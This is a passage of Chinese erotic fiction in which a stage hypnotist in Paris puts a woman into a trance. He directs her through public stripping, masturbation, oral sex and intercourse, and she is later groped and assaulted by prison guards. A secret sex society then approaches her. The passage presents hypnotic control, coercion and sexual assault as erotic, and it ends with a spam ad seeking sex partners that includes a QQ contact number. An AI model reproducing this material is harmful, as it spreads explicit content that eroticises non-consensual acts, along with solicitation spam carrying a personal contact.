歐玲雅感到這個男人的聲音鏗鏹有力--令人無法抵抗,流利、甜蜜而不讓人發膩。無需任何理由,她知道她願意為這個男人效勞,成為他的玩物。她感到身體在一點一點瓦解,飛出窗戶。

「為了我,就把衣服脫了吧,歐玲雅。只為我一個人,讓我擁有它。」

盡管歐玲雅知道自己是赤身裸體面對著數百觀眾,但她仍覺得自己彷彿只是跟梅爾一個人在一起。當她脫掉外套,解開半透明緊身上衣的鈕扣時,梅爾那獨一無二的魅力嚴嚴實實地籠罩著她。接著,一件海綠色的襯
衫滑落在舞台上。她的身上只剩下一件三十年代式樣的未經漂白的緞料連褲襯衣。當耳邊傳來一陣陣嘲笑聲,粗重的喘息聲和吹噓聲時,她開始猶豫起來。

「脫了它,歐玲雅,能看見你的裸體是我最大的心願。只為我一個人展現你的玉體,好嗎?」

她很聽話地照辦了,那麼自然,毫不愧疚,也不恐懼。這一點,她心如明鏡般地清楚。她在為梅爾脫衣服,他想看她全身裸露的樣子。他擁有這權利,是無庸置疑的。

抹下肩上的帶子,她極其優雅地脫去性感的內衣。於是,除去長筒襪和高跟鞋,歐玲雅全身裸露地站在舞台上,等著她的主人下另一道命令。彩色的燈光在一張張寫滿渴望的面孔上閃過,使她眩惑,觀眾席上傳來的
聲音使她確信,人們盼望著一些東西。

「坐在椅子上,歐玲雅。」

她的雙腿觸到了一張木椅,感到一陣冰涼。她雙膝並攏沈坐在椅子上。

「把腿岔開,歐玲雅,我希望你能給我展示你最溫柔,更深處的那個迷人部位。」

她極其清醒地分開雙膝,人群再一次騷動起來。歐玲雅很平靜地向人們展示著女性最隱密、最迷人的部位;粉紅、潮濕、周圍有一圈圈皺褶。

「再分開些,歐玲雅,我看得不大清楚。我看不到關鍵部位。」

她用力地張開雙腿。

「好,很好,現在,歐玲雅。我要在你的手上塞一樣東西。我希望你能用它取悅自己;如果你能高興,我也就高興了。」

他向金髮碧眼的助手作個手勢,安妮克就遞給他一種堅硬皮革做成的鞭柄。這個東西在梅爾深夜的表演過程中,撫摸和咬嚙過多個裸體美人的皮肉。在梅爾所記得的女人中,他更加喜歡眼前的這個美人,她是一個優
秀的目標--接受力強,又富有挑逗性。他能感覺到她內心的情慾:最基本,也是最強烈的。這個缺乏抑制力的金髮白膚的美人,他很慶幸自己憑著直覺,在這個女人走進門廳時,便選擇了她。直覺告訴他,利用歐玲雅
,更能夠將自己最深、最強烈的願望充份地表達出來。

他把鞭柄放在歐玲雅手中,她看起來並不知道那是什麼,但是她撫摸著它就像是在撫摸愛人的身體。

「這就是帶給你快樂的工具,歐玲雅小姐。巧妙地使用它,效果會更好。跟著感覺走;就像是我的手在你身上,喚起你的慾望。」

歐玲雅很自然地張開外陰唇,就像是展開緊握的拳頭,同人們顯示手中的金銀寶物。牠的粉紅的陰核像一顆無價的珍珠,閃著亮光。

一種強烈的慾望使歐玲雅將鞭柄插進了陰部,從觀眾席某處,傳出一個男人痛苦的呻吟聲。

肉慾迅速佔據了歐玲雅全身,但是時時在引導她的聲音卻不願意她那麼輕易快活起來。在這以前,梅爾從來沒有對這個鞭柄寄予厚望,但是現在他希望一切繼續下去;希望歐玲雅不僅使他揚名巴黎,更能使他在西方
世界聞名遐爾。

「你就要進入高潮期,」一個低低的聲音說道。「把手指放在你的陰處,伸到光滑而堅硬的深處為止,對,再近一些。」

「是,噢,是……」

恍惚間像是落入地獄,歐玲雅由於慾望沒有得到滿足而抱怨起來,難道用手指在陰部戳幾下就能情慾高亢?梅爾是多麼冷酷無情!他就想讓他處於性飢餓狀態。

一股清晰的、甜膩的液體從她的身體裡流了出來,弄髒了她正坐著的椅子。她的女性部位是那麼合適,當鞭柄出入時感覺很是舒服。

「你現在可以停下來了,」梅爾命令道。儘管全身的每一根神經末梢都在呼喚著讓這種快感持續下去,她還是很順從地停住手,她被動地坐著,等待著下一道命令。

梅爾暫停下來,掃視著觀眾席。不錯,很好。他看見幾個男人正忘乎所以地自己把玩著,甚至有一對夫婦就在劇院座位上做起愛來。女的坐在男的膝上。好極了。以這種速度,到他和歐玲雅小姐完成表演時,就能讓
全體觀眾都沈浸於狂歡之中。他突然對這位年輕的小姐產生了感激之情,她膽大人熱的性行為使他名聲大震。

「歐玲雅,」他湊近她耳語道,「我想告訴你一些有關你的事情,你願意聽嗎?」

「我……願意……聽。」

她的聲音是那樣茫然,彷彿不是從她約兩片嘴唇中發出,而是來自太虛仙境。

「聽著,歐玲雅,你是一個妓女,好,告訴我,你是什麼?」

「一個妓女,我是一個妓女。」

「對,歐玲雅。你是一個喜歡自己職業的下賤妓女,今天晚上你就會成為一個最忙碌的妓女。你是如此受到歡迎,你知道為什麼嗎?」

「我……不知道。」

「來,讓我告訴你。歐玲雅,你是這個妓院裡最受歡迎的妓女,因為你願意做任何事情--你的客人要求你的每一件事,你明白了嗎?」

「我明白了。」

「你樂意為客人服務嗎?我想一定有很多客人等著你。」

「我願意。」

「你願意做任何事情嗎?」

「願意。」

不再發問,梅爾舒心地笑起來。最後的障礙消除了。現在他確知歐玲雅完全成了一個交配動物,她會接要求做任何表演。他再一次掃視觀眾席,因為這一台節目還需要其他有一定潛力的人。

從在座男人的一張張亢奮的表情判斷--當然還有一些女人,不會缺乏踴躍參與者。但他希望自己所選的人能夠具有發揮想像力的才能。

他把目光停在了前面第三棑的一個男子身上。那個男子正竭力地勸他的女友。他的長褲脫掉了,他拉著女友的手正往自己的兩腿間摸索,兩女友則羞澀得滿臉通紅,用力想把手掙脫出來。真是慚愧--這個小伙子勇
氣可嘉,梅爾相信歐玲雅一定會喜歡小伙子的倔強性格的。

「哪一位願意上台做我的伙伴?」

有幾個人舉起了手;同時傳出一陣哄笑聲,那是幾個朋友或同事打算將他們極不情願的伙伴推出座位。但是梅爾只對那個坐在第二一排的遭到女友拒絕的年輕人感興趣。使出渾身解數,他終於將小伙子的注意力吸引
過來。

當小伙子的目光轉到梅爾身上時,梅爾就確信小伙子一定能勝任。

對女友強姦未遂,惱怒之下,小伙子站起來快步走向了舞台。甚至也沒意識到回座位把長褲穿上。

他爬上台階,梅爾像與失蹤的兒子重逢般熱情歡迎他,並趁機盯住年輕人的眼睛,將一些色情的建議輸進了他的潛意識中。

「你叫什麼名字?」

「嗯……賈斯頓。賈斯頓。」

「好吧,告訴我,賈斯頓,你常常因為色情幻想而興奮不已嗎?」

「我……是的。」

「告訴我,你打算跟漂亮的歐玲雅小姐做些什麼?」

賈斯頓猶豫了片刻,但是由於催眠術的功效和懇求做愛受挫後的沮喪感,他回頭意味深長地瞥了女友一眼,便答覆道:「我希望她能用嘴來滿足我。」小伙子渾身抖索不停,但不難看出那是出於興奮。他身後的觀眾席上,傳來陣陣鼓勵的話語。

梅爾又將目光轉向他最為驕傲的客人身上。

「看著,歐玲雅--這是你的第一個客人。他希望你用嘴取悅他。照他說的去做。能使他高與是你最大的心願,而且這樣做了,你也會感到快樂。你明白嗎?」

「我明白。」

想到把小伙子的生殖器放進嘴裡的滋味,歐玲雅不禁興奮起來。她挪動雙膝,開始親吻賈斯頓裸露在外的身體。她早就神志不清了,只是一種本能引導著她的嘴和手。她將手伸進賈斯頓敞開的長褲拉鏈中,去觸摸他
的睪丸。睪丸渾圓,又有份量,當她將它們放在手掌上細細掂量,並且撫摸它們時,它們繃得緊緊的。

她張開嘴唇,將尤物填進嘴中,慢慢吮吸、品嘗。一股液體的鹹味刺激了舌頭,她索性用舌頭壓住那欲加膨脹的男人的根,用嘴來享受同樣是佔有男人的樂趣和激動。

她津津有味地吮吸著,因為賈斯頓的快樂就是她的快樂。他的睪丸在她的嘴中因充滿精液而更加腫大、僵硬,歐玲雅感到自己的快樂也在全身蔓延、擴充,小腹一陣發熱,直傳到她堅硬的陰核處。終於賈斯頓發出一
聲向她屈服的呻吟,歐玲雅興奮地淚流滿面。當賈斯頓將一股白色的精液射入她的咽喉時,她第一次的情慾高潮使她的陰部緊繃起來。

所有的觀眾都拍手喝采--唯有賈斯頓的女友望著舞台目瞪口呆。

在舞台上,歐玲雅始終被動地跪著,就像一個誠心誠意的懺悔者,甘願承受許許多多讓人無法想像的苦行僧生活。

梅爾其他的「客人」也沒有使他失望。第二垃客人--一個帶著決鬥疤痕的面皮枯皺的德國男子--提出要用鞭柄抽打歐玲雅。歐玲雅跪在他的跟前,他把她的後背和半邊屁股打得通紅。然而,每抽打一下,她就感
到一陣說不出的快意。

第三個客人要求歐玲雅又開雙腿,騎在他身上,就好像他是她的坐騎一樣;歐玲雅也希望趁著興奮,毫無顧忌地大叫一遍。梅爾看著他們,忽然心生嫉妒而惱怒起來:歐玲雅是他的發明、他的創造,別人憑什麼要來
享受他的成果?這個念頭燃燒著他,就像是火舌舔噬著他。

他要佔有她。她一定要……

「放下雙手,並攏雙膝,歐玲雅。只讓我一人擁有你,好嗎?」

「好,好。拿走我吧。」

照梅爾的吩咐,歐玲雅放下雙手,並攏了雙腿。在她的意識裡,她是一隻發情的母狼,等著同伴來佔有她。兩個人一起做愛要比一個人自娛自樂有趣的多。

梅爾急不可待地扯開長褲上的鈕扣,拉出一條絕色的尤物來--七英寸長而且很圓實的睪丸。觀眾們瘋狂地大叫起來。女士們泣不成聲,尖叫著懇求梅爾給她們一次機會,讓她們同他一起做他喜歡的任何表演。但是
梅爾的眼中只有歐玲雅。

他迅速而順利地利入她的身體。歐玲雅感到自己身上像是壓著一隻狼狗,他的陰莖堅硬而粗暴地利入她體內。她扭動著,想翻過身來,但是一種無法言喻的痛苦便她動彈不得。她也不想動彈,她願意永遠生活在夢境
中,永遠跟人做愛而不醒來。

梅爾駕輕就熟地騎在歐玲雅身上,將一千種激動用他那雙魔鬼般迷人的黑眼睛傳入她的大腦中;他從她身上騙得了歡樂,她也和諧地回應著,就像是一把小提琴與一個高超的演奏家密切地配合。

隨著一聲陶醉般地呻吟,歐玲雅終於向快樂認輸了。她挺直腰身,接受著梅爾射出的沸騰的生命之液。當高潮漸漸低落,她癱軟在舞台上,氣喘吁吁,大汗淋漓。帷幕也徐徐降落。

她忘卻了觀眾,忘卻了觀眾席和門聽中漸漸進入興奮高潮的氣氛。客人們像是一群受到主人鼓勵的奴僕,完全沈浸於聲色之中。

當然,她也忽視了三個身穿灰色雨衣的怒氣沖沖的身影正煞有介事地走向舞台。

「梅爾先生。」

梅爾搖搖晃晃站起身來,將仍舊緊繃著的陽物塞進褲襠,扣上鈕扣。

「嗯,什麼事……」

「憲兵隊。」

人群一陣騷亂。一個戴著舊毯帽,手持憲兵隊逮捕證的男人開口了:「我想我們已經看夠了你所謂的表演,梅爾先生。你最好跟我們去一趟憲兵隊。」他又朝歐玲雅瞥了一眼:「我們也要帶這個年輕的小姐去問一些問題。」

歐玲雅看著兩個不知從哪裡冒出的身著制服的憲兵,嚇得魂不附體。她用一張毛毯裹著雙肩,以掩蓋自己裸露的身軀。兩個憲兵顯然無法抵禦歐玲雅的魅力,他們利用搜查的機會,就在眾目睽睽之下,在歐玲雅的身
上摸索起來--晚了一點,歐玲雅想,心中漾起一種對他們的蔑視。

她竭力擺脫他們愉愉摸摸的撫摸,憤怒地將臉轉向年長的憲兵:「你們是否完成了對我的,先生?」

憲兵的臉「刷」地一下紅起來,並假裝咳嗽。

「閉嘴!該死的。」他粗暴地命令道。同時擺出一副威嚴的面孔來掩飾自己的尷尬。「帶走!」

以後發生了什麼事情,歐玲雅清楚地記得。她被戴上手銬,和梅爾一起坐在黑色囚車的後面--她的第一反應便是:這個男人對眼前發生的事情並不驚慌。他洋洋自得的笑容使她覺得他有能力挽救局勢。畢竟,他還
沒落得聲名狼藉。

到達車站,他們被當眾侮辱了一頓,接著各自被帶入單間等候審訓。當梅爾被帶走時,他轉身給了歐玲雅一個銷魂的微笑:「這是一次至高無上的榮耀,小姐。如果你在一個專業劇院開始你的職業生涯……」

歐玲雅坐在自己的單間裡,神情沮喪地望著空空如也的四壁。現在發生的一切是她所始料不及的,她已經決定離開巴黎。她本來打算在劇院度過一個清靜的夜晚,可是現在卻坐在這兒,並在大庭廣眾之下遭到猥褻-
-甚至會被投入監牢。她早就耳聞過法國監獄的一些令人心驚肉跳的事情。她思忖著是否可以通過引誘監察官來獲得一線希望。但是,這個念頭就如來得那般突然,很快又打消了。她的肉體也無法解救自己。她所能做的
,就是等待審判。

第二天早晨,她被帶到法院,站在了法官面前。她想知道梅爾在哪兒--很快她意識到,他,當然買通了人,逃脫了干係。即使是一連串的法律條文,對他也毫無效力。歐玲雅恨不得踹自己幾腳,為自己對古老的賄
賂手段的好處缺乏先見之明。

法官是一個枯瘦乾扁的男人,毫不掩飾對一個年輕女人走上審判台的不滿。當然,歐玲雅也沒有機會回到旅館去換一身體面的衣服。她仍舊穿著昨天晚上穿的那件滿是污穢和皺褶的外套和迷你裙。昨天晚上,她看起
來多麼性感,多麼迷人;而在今天早晨冰冷的燈光下,她就像是一個下賤的妓女。

她衝法官做出一個極其嫵媚的笑容。但是她分明看見他無動於衷。法官透過厚厚的鏡片凝視歐玲雅片刻,作出五天監禁的判決。歐玲雅聽到後神情沮喪卻毫不吃驚。

一切都在預料之中。就在她離開審判合時,一時心血來潮,轉身朝法官拋了個長吻。

法官瞠目結舌;他收回了剛才的判決:「要加重處罰你,小姐。我要判你一個月的監禁,而不是五天。」

歐玲雅鬱鬱不樂地躺在低矮的松木板凳上。那就是她的床。監獄生活就是這樣,枯燥而缺乏情趣。很多次,她夢到了大愛魔組織。

她想起自己穿過沈重的兩道門,被帶進監獄裡時,那些女看守看著她的神情。其中一個女看守--長著滿頭卷曲的、稻草般蓬亂頭髮的阿爾及利亞人,嘴角掛著微笑--眼光在她的身上逡巡。

「過來,」女看守粗暴地喊著。「脫掉衣服!」

歐玲雅便不情願地脫下外套和裙子,穿著一件連褲襯衫顫慄發抖,她感到屈辱和憤怒。她抬起頭來,看著女看守,請求她開恩。女看守卻以無情的目光拒絕了她。

輕輕嘆口氣,歐玲雅脫下連褲襯衫,她白如凝脂的胸脯和大腿問的隱密部位頓時暴露無遺。女看守毫不掩飾地、貪婪地欣賞著她的身體。

「到那裡去。」女看守指著房間後面的一扇門說道。歐玲雅穿過那道門,走進一間瓷磚砌成的浴室,浴室中有一排淋浴噴頭,卻沒有窗簾,沒有屏障,簡而言之,就是沒有蔽身之處。或許這就是他們的企圖;他們要
歐玲雅出醜。她忍不住抱怨起自己的命運,同時想著梅爾今天晚上在做些什麼。

女看守遞給他一塊肥皂和一把刷子,把她推到一個淋浴噴頭下面,擰開水龍頭。她禁不住打了個冷顫:哇!是冷水,冰涼刺骨。噴在身上的水像幾千個纖細的、尖銳的針,扎進她細嫩的反官。她想跳離水龍頭,但是女看守又將她推在噴頭下。

那雙手像鐵鉗一般抓住她,將她的手反剪在背後,使她動彈不得。水瀑布般瀉在她的臉上和乳頭上。

「我們已經聽說了你的風流艷史。」

「既然你們如此喜歡捕風捉影,而且樂此不疲,為何不試著學學我們,來證明你們是否還有用呢?」

「識相點,小姐。你現在歸我們所管。」

一陣狂笑聲包圍著她;是兩個還是三個人的聲音?彷彿有無數雙手在她的身上摸索,手指也在搜尋她身上最隱蔽的部位。

她張開嘴在一只柔軟的手背上咬了一口,立刻,一個惱羞成怒的、夾雜著法語和阿拉伯語的聲音震動了她的耳膜。她的臉上挨了重重的一巴掌,隨即被推到一邊,撞在浴室的牆壁上。光滑的瓷磚牆壁沒有可以抓手的
地方,她的身子慢慢地下滑,終於跌落到地板上。

那些手又放在她身上,極不安份地到處亂摸。

「停下!你們立刻給我住手。」

歐玲雅搖搖眩暈的頭,在模糊的視線中看見一個高大、寬肩的身影,立在門邊。

女看守們很快從她身邊走開;就像一群受驚的嫖客一般,從代理總管的身邊溜走了。

達瓦羅先生一聲不響地走近浴室,關上水龍頭。歐玲雅勉強掙扎著站 起來。代理總管遞給他一塊手中。


「把身上擦乾,小姐。在這兒你雖然是囚犯,我們也不是野人。我保證你將不會再受到那種非難。」

歐玲雅感激地衝達瓦羅先生笑笑,從他的眼神中,她捕捉到一絲貪婪的光茫。嗯,很好,她想,他會是個有利的同盟軍。

浴室只剩下兩個人:歐玲雅和達瓦羅。她伸出手關上房門,確保安全隱密。接著,她極其優雅地掀開浴巾,浴巾便帶著沙沙聲響飄落在瓷磚地板上。

「小姐您……?」

她將手指放在他的唇上,算是對他疑惑不解神情的答覆。按著,她將手放在他穿著的海藍色長褲的前部,微笑著觸摸裹著他腫脹的睪丸的部位。當她拉開長褲上的拉鏈時,他全身緊繃,隨後發出一聲洋溢著快樂的重
重的嘆息。因為歐玲雅已將他全身緊繃的肌肉從牢獄中解放出來,激起了他全部的慾望。

她跪在他跟前,將他的陰莖塞進嘴中,來表達她對他深深的感激之情。第二天早晨,歐玲雅正在看一本老的中篇小說,這時聽到鑰匙的響動,隔離室的門開了。


「歐玲雅,起來,把自己梳洗打扮一下。」

歐玲雅大吃一驚。有來訪者?除了在美術館工作的克利斯,沒有人知道她在巴黎,而且被關在監牢裡。她的大腦飛速旋轉,想到會不會是梅爾出獄後大發慈悲,打算將她從這個鬼地方保釋出去。不可能,他幹嘛要救
一個他曾暫時借用過的女人--何況當時只是為了取悅他的觀眾,來給自己添麻煩?

帶著疑惑,她跟著女看守穿過陰暗的走廊,走向會客室。兩個犯人正在擦洗地板,當她經過他們身邊時,她注意到他們偷偷交換眼神,並且竊竊私語,吃吃地笑著。難道他們知道了她和達瓦羅在浴室裡私通的事?
女看守將歐玲雅帶進會客室,轉身帶上房門出去了。她要在外面等著歐玲雅和來訪者交談。

一個金髮白膚的小伙子在接待室中間的長桌旁坐著。歐玲雅不認識他。他微笑著向她致意。

「歐玲雅小姐,您好。」他吻了牠的手。

「先生您是……?」

「丁瓦倫。」他坐下來指指另一把椅子:「你不必知道我的真實姓名,你可以稱我為丁瓦倫。」

「你怎麼會在這兒?我不認識你。」

「是的,歐玲雅,你不認識我。可我卻認識你。」他停頓一下,「我們都認識你。」

「你們?」

「對,『大愛魔』組織。」

歐玲雅感到一陣茫然--是激動還是驚懼,或者兼而有之?終於,她找到了大愛魔組織--卻是在這兒,在她冒犯了社會公德被送進監牢的時候。總而言之,這樣的會面太讓人不可思議了。

「我能看出你是你父親的親生女兒,」他細細觀看著她。「不幸的是,他在最後的決鬥中失敗。但是你必須明白,『大愛魔』組織有自己的紀律,誰也不許觸犯。我們一直觀注著妳的一舉一動,歐玲雅。我們對你的
所做所為非常滿意。」

「但是,那就是說……」

「對,歐玲雅,你做好準備,接受『大愛魔』組織的考驗吧!」

======================================================
有想享受性爱快乐的女孩和少妇吗?

如果你是请你一定加我!我们一起好好的交流!
真诚相待!
愿和你一起度过浪漫美好的时光!
我是优秀的男人,没有诚意的,不敢交流的,请不要加我!
我不想被欺骗!

[男人不要加我!我不同性恋的}

注:我是武汉的!

一夜情,长期性伙伴也可以!也可以谈感情!
我很想和你做朋友!很想和你一起享受性爱的
快乐!


我QQ:330701969

(注明XIAO SESE)